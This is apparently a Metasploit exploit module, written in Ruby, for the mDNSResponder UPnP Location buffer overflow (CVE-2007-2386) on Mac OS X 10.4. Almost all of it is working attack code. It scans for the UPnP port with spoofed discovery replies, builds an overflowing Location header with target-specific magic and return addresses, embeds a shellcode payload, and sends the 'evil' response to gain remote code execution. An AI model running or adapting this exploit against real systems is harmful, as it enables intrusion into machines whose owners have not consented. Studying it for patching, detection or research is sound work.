Mac OS X mDNSResponder UPnP Location Overflow



##

# $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow that occurs when processing
                specially crafted requests set to mDNSResponder. All Mac OS X systems
                between version 10.4 and 10.4.9 (without the 2007-005 patch) are
                affected.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'ddz'
                ],
            'Version'        => '$Revision: 11515 $',
            'References'     =>
                [
                    [ 'OSVDB', '35142' ],
                    [ 'CVE', '2007-2386' ],
                    [ 'BID', '24144' ],
                    [ 'URL', 'http://support.apple.com/kb/TA24732' ]
                ],
            'DefaultOptions' =>
                {
                    'SRVPORT' => 1900,
                    'RPORT' => 0
                },
            'Payload' =>
                {
                    'BadChars' => "\x00\x3a\x2f",
                    'StackAdjustment' => 0,
                    'Space' => 468
                },
            'Platform' => 'osx',
            'Targets' =>
                [
                    [ '10.4.8 x86',
                        { # mDNSResponder-108.2
                            'Arch'                   => ARCH_X86,
                            # Offset to mDNSStorage structure
                            'Offset'                 => 21000,
                            'Magic'                  => 0x8fe510a0,
                            'g_szRouterHostPortDesc' => 0x53dc0,
                        }
                    ],
                    [ '10.4.0 PPC',
                        { # mDNSResponder-107
                            'Arch'    => ARCH_PPC,
                            'Offset'  => 21000,
                            'Magic'   => 0x8fe51f4c,
                            'Ret'     => 0x8fe41af8,
                        }
                    ]
                ],
            'DisclosureDate' => 'May 25 2007',
            'DefaultTarget' => 1))

        register_options(
            [
                Opt::LHOST(),
                OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
            ], self.class)

        @mutex = Mutex.new()
        @found_upnp_port = false
        @key_to_port = Hash.new()
        @upnp_port = 0
        @client_socket = nil
    end

    def check
        #
        # TODO: Listen on two service ports, one a single character
        # shorter than the other (i.e 1900 and 19000).  If the copy was
        # truncated by strlcpy, it will connect to the service listening
        # on the shorter port number.
        #
        upnp_port = scan_for_upnp_port()
        if (upnp_port > 0)
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Unsupported
        end
    end

    def upnp_server(server)
        client = server.accept()
        request = client.readline()
        if (request =~ /GET \/([\da-f]+).xml/)
            @mutex.synchronize {
                @found_upnp_port = true
                @upnp_port = @key_to_port[$1]

                # Important: Keep the client connection open
                @client_socket = client
            }
        end
    end

    def scan_for_upnp_port
        @upnp_port = 0
        @found_upnp_port = false

        upnp_port = 0

        # XXX: Do this in a more Metasploit-y way
        server = TCPServer.open(1900)
        server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

        begin
            socket = Rex::Socket.create_udp

            upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']

            puts "[*] Listening for UPNP requests on: #{upnp_location}"
            puts "[*] Sending UPNP Discovery replies..."

            i = 49152;
            while i < 65536 && @mutex.synchronize {
                @found_upnp_port == false
            }
            key = sprintf("%.2x%.2x%.2x%.2x%.2x",
                rand(255), rand(255), rand(255), rand(255), rand(255))

            @mutex.synchronize {
                @key_to_port[key] = i
            }

            upnp_reply = "HTTP/1.1 200 Ok\r\n" +
                "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
                "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
                "Location: #{upnp_location}/#{key}.xml\r\n\r\n"

            socket.sendto(upnp_reply, datastore['RHOST'], i)

            i += 1
        end

        @mutex.synchronize {
            if (@found_upnp_port)
                upnp_port = @upnp_port
            end
        }
        ensure
            server.close
            server_thread.join
        end

        return upnp_port
    end

    def exploit
        #
        # It is very important that we scan for the upnp port.  We must
        # receive the TCP connection and hold it open, otherwise the
        # code path that uses the overwritten function pointer most
        # likely won't be used.  Holding this connection increases the
        # chance that the code path will be used dramatically.
        #
        upnp_port = scan_for_upnp_port()

        if upnp_port == 0
            raise "Could not find listening UPNP UDP socket"
        end

        datastore['RPORT'] = upnp_port

        socket = connect_udp()

        if (target['Arch'] == ARCH_X86)
            space = "A" * target['Offset']
            space[0, payload.encoded.length] = payload.encoded

            pattern = Rex::Text.pattern_create(47)
            pattern[20, 4] = [target['Magic']].pack('V')
            pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

            boom = space + pattern
            usn = ""

        elsif (target['Arch'] == ARCH_PPC)
            space = "A" * target['Offset']

            pattern = Rex::Text.pattern_create(48)
            pattern[20, 4] = [target['Magic']].pack('N')

            #
            # r26, r27, r30, r31 point to g_szUSN+556
            # Ret should be a branch to one of these registers
            # And we make sure to put our payload in the USN header
            #
            pattern[44, 4] = [target['Ret']].pack('N')

            boom = space + pattern

            #
            # Start payload at offset 556 within USN
            #
            usn = "A" * 556 + payload.encoded
        end

        upnp_reply = "HTTP/1.1 200 Ok\r\n" +
            "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
            "USN: #{usn}\r\n" +
            "Location: http://#{boom}\r\n\r\n"

        puts "[*] Sending evil UPNP response"
        socket.put(upnp_reply)

        puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
        select(nil,nil,nil,10)

        handler()
        disconnect_udp()
    end
end